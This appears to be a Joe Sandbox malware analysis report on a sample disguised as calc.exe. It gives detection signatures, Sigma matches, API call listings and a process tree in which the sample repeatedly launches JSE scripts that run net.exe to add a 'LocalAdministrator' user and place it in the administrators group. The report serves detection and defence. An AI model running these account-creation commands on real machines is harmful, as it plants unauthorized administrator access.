Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
calc.exe

Overview

General Information

Sample name:calc.exe
Analysis ID:1523638
MD5:2f9fdad776d8626f2ce8625211831e91
SHA1:21d8413eb0d60b36fc249f8025c277b557fefde3
SHA256:9b66a8ea0f1c64965b06e7a45afbe56f2d4e6d5ef65f32446defccbebe730813
Infos:

Detection

Score:60
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Adds a new user with administrator rights
Machine Learning detection for sample
Sigma detected: Suspicious Calculator Usage
Sigma detected: Suspicious Process Parents
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Add User to Local Administrators Group
Sigma detected: New User Created Via Net.EXE
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • calc.exe (PID: 7856 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
    • wscript.exe (PID: 7948 cmdline: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse MD5: FF00E0480075B095948000BDC66E81F0)
      • net.exe (PID: 7996 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
        • conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • net1.exe (PID: 8084 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
      • net.exe (PID: 8024 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
        • conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • net1.exe (PID: 8120 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
      • calc.exe (PID: 8056 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
        • wscript.exe (PID: 8184 cmdline: "C:\Windows\System32\wscript.exe" 10a1DJwqnr.jse MD5: FF00E0480075B095948000BDC66E81F0)
          • net.exe (PID: 7284 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
            • conhost.exe (PID: 7300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • net1.exe (PID: 7540 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
          • net.exe (PID: 7352 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
            • conhost.exe (PID: 7448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • net1.exe (PID: 756 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
          • calc.exe (PID: 7516 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
            • wscript.exe (PID: 1196 cmdline: "C:\Windows\System32\wscript.exe" Kiql0emrm5.jse MD5: FF00E0480075B095948000BDC66E81F0)
              • net.exe (PID: 6848 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                • conhost.exe (PID: 3500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • net1.exe (PID: 4540 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
              • net.exe (PID: 3504 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                • conhost.exe (PID: 4472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • net1.exe (PID: 6872 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
              • calc.exe (PID: 6960 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
                • wscript.exe (PID: 2548 cmdline: "C:\Windows\System32\wscript.exe" mdWettqHRh.jse MD5: FF00E0480075B095948000BDC66E81F0)
                  • net.exe (PID: 5464 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                    • conhost.exe (PID: 312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                    • net1.exe (PID: 1308 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
                  • net.exe (PID: 3636 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                    • conhost.exe (PID: 1736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                    • net1.exe (PID: 2060 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
                  • calc.exe (PID: 2168 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
                    • wscript.exe (PID: 3872 cmdline: "C:\Windows\System32\wscript.exe" KobIITTimt.jse MD5: FF00E0480075B095948000BDC66E81F0)
                      • net.exe (PID: 7776 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                        • conhost.exe (PID: 2464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                        • net1.exe (PID: 2940 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
                      • net.exe (PID: 2340 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                        • conhost.exe (PID: 2772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                        • net1.exe (PID: 3404 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
                      • calc.exe (PID: 3272 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
                        • wscript.exe (PID: 7864 cmdline: "C:\Windows\System32\wscript.exe" dLMJwKQlPv.jse MD5: FF00E0480075B095948000BDC66E81F0)
                          • net.exe (PID: 8044 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                            • conhost.exe (PID: 7964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                            • net1.exe (PID: 8032 cmdline: C:\Windows\system32\net1 user LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
                          • net.exe (PID: 8112 cmdline: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                            • conhost.exe (PID: 8148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                            • net1.exe (PID: 7984 cmdline: C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
                          • calc.exe (PID: 8028 cmdline: "C:\Users\user\Desktop\calc.exe" MD5: 2F9FDAD776D8626F2CE8625211831E91)
                            • wscript.exe (PID: 8156 cmdline: "C:\Windows\System32\wscript.exe" aw1HUl4bYu.jse MD5: FF00E0480075B095948000BDC66E81F0)
                              • net.exe (PID: 8160 cmdline: "C:\Windows\System32\net.exe" user LocalAdministrator /add MD5: 31890A7DE89936F922D44D677F681A7F)
                                • conhost.exe (PID: 8176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Suspicious Calculator Usage
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\calc.exe", CommandLine: "C:\Users\user\Desktop\calc.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\calc.exe, NewProcessName: C:\Users\user\Desktop\calc.exe, OriginalFileName: C:\Users\user\Desktop\calc.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Users\user\Desktop\calc.exe", ProcessId: 7856, ProcessName: calc.exe
Sigma detected: Suspicious Process Parents
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, CommandLine: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\calc.exe", ParentImage: C:\Users\user\Desktop\calc.exe, ParentProcessId: 7856, ParentProcessName: calc.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, ProcessId: 7948, ProcessName: wscript.exe
Sigma detected: Add User to Local Administrators Group
Source: Process startedAuthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add, CommandLine: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 7948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add, ProcessId: 8024, ProcessName: net.exe
Sigma detected: New User Created Via Net.EXE
Source: Process startedAuthor: Endgame, JHasenbusch (adapted to Sigma for oscd.community): Data: Command: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 7948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, ProcessId: 7996, ProcessName: net.exe
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, CommandLine: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\calc.exe", ParentImage: C:\Users\user\Desktop\calc.exe, ParentProcessId: 7856, ParentProcessName: calc.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, ProcessId: 7948, ProcessName: wscript.exe
Sigma detected: Net.exe Execution
Source: Process startedAuthor: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\wscript.exe" gszpj8rp81.jse, ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 7948, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\net.exe" user LocalAdministrator /add, ProcessId: 7996, ProcessName: net.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Machine Learning detection for sample
Source: calc.exeJoe Sandbox ML: detected
Source: calc.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,0_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,0_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042320D FindFirstFileW,FindClose,0_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00425838 FindFirstFileW,FindNextFileW,FindClose,0_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,0_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,0_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,0_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425639 FindFirstFileW,FindFirstFileW,SetCurrentDirectoryW,FindClose,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_00425639
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004230D5 FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,7_2_004230D5
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0041510D FindFirstFileW,DeleteFileW,CopyFileW,lstrcmpiW,DeleteFileW,MoveFileW,FindNextFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,7_2_0041510D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042320D FindFirstFileW,FindClose,7_2_0042320D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00426292 FindFirstFileW,Sleep,FindNextFileW,FindClose,7_2_00426292
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00425838 FindFirstFileW,FindNextFileW,FindClose,7_2_00425838
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00422C4D FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,7_2_00422C4D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414E16 GetFileAttributesW,FindFirstFileW,FindClose,7_2_00414E16
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00414FFA FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,7_2_00414FFA
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042A322 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,CloseClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,DragQueryFileW,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0042A322
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042A4F2 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_0042A4F2
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0042A4F2 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,7_2_0042A4F2
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0042A322 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,CloseClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,DragQueryFileW,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_0042A322
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041111C GetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_0041111C
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004045EC GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,GetWindowRect,GetWindowRect,MoveWindow,GetCursorPos,GetCursorPos,TrackPopupMenuEx,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,SetCapture,CharUpperBuffW,ClientToScreen,InvalidateRect,PostMessageW,GetMenuItemInfoW,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,FreeLibrary,DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,ReleaseCapture,SetWindowTextW,SendMessageW,CharUpperBuffW,CharUpperBuffW,ClientToScreen,0_2_004045EC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004045EC GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,GetWindowRect,GetWindowRect,MoveWindow,GetCursorPos,GetCursorPos,TrackPopupMenuEx,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,GetWindowLongW,SendMessageW,SetCapture,CharUpperBuffW,ClientToScreen,InvalidateRect,PostMessageW,GetMenuItemInfoW,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,FreeLibrary,DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,CharUpperBuffW,ReleaseCapture,SetWindowTextW,SendMessageW,CharUpperBuffW,CharUpperBuffW,ClientToScreen,7_2_004045EC

System Summary

barindex
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0040165B SetFocus,MoveWindow,KillTimer,PostQuitMessage,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,NtdllDefWindowProc_W,7_2_0040165B
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0040D33A NtdllDefWindowProc_W,SendMessageW,GetSysColorBrush,GetClientRect,SetViewportOrgEx,SetViewportOrgEx,FillRect,SetViewportOrgEx,GetDlgItem,IsWindowEnabled,MessageBeep,PostMessageW,GetFocus,GetNextDlgTabItem,SystemParametersInfoW,GetWindowRect,SubtractRect,OffsetRect,OffsetRect,OffsetRect,OffsetRect,OffsetRect,MoveWindow,GlobalFindAtomW,GlobalFindAtomW,GlobalFindAtomW,GetClassWord,GetClassWord,SendMessageW,GetClassWord,GetParent,GetParent,GetClassWord,GetParent,SendMessageW,NtdllDefWindowProc_W,7_2_0040D33A
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00424856: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,0_2_00424856
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,0_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,7_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043244B0_2_0043244B
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004422B60_2_004422B6
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004443170_2_00444317
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043A4420_2_0043A442
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0043E46A0_2_0043E46A
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004045EC0_2_004045EC
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044E6160_2_0044E616
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004487760_2_00448776
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0044D7D40_2_0044D7D4
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004568240_2_00456824
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004419610_2_00441961
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00442AF90_2_00442AF9
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00420D890_2_00420D89
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00421E0D0_2_00421E0D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00450F740_2_00450F74
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0043244B7_2_0043244B
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004422B67_2_004422B6
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004443177_2_00444317
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0043A4427_2_0043A442
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0043E46A7_2_0043E46A
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004045EC7_2_004045EC
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044E6167_2_0044E616
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004487767_2_00448776
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_0044D7D47_2_0044D7D4
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004568247_2_00456824
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_004419617_2_00441961
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00442AF97_2_00442AF9
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00420D897_2_00420D89
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00421E0D7_2_00421E0D
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00450F747_2_00450F74
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044C2B2 appears 32 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044D788 appears 106 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044C626 appears 44 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044943D appears 32 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 00416BFE appears 162 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 00409CDF appears 38 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044C070 appears 94 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 0044907D appears 42 times
Source: C:\Users\user\Desktop\calc.exeCode function: String function: 00418AD9 appears 34 times
Source: calc.exe, 00000000.00000003.1406017272.0000000000853000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000000.00000003.1406017272.0000000000853000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 00000000.00000003.1406097340.0000000000874000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000000.00000003.1406097340.0000000000874000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 00000000.00000003.1406045130.000000000086D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000000.00000003.1406045130.000000000086D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 00000007.00000003.1415727355.0000000000814000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000007.00000003.1415727355.0000000000814000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 00000007.00000003.1415753750.000000000081A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000007.00000003.1415753750.000000000081A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 0000000F.00000003.1426562094.0000000000785000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 0000000F.00000003.1426604944.000000000078A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000017.00000003.1439687724.0000000000709000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
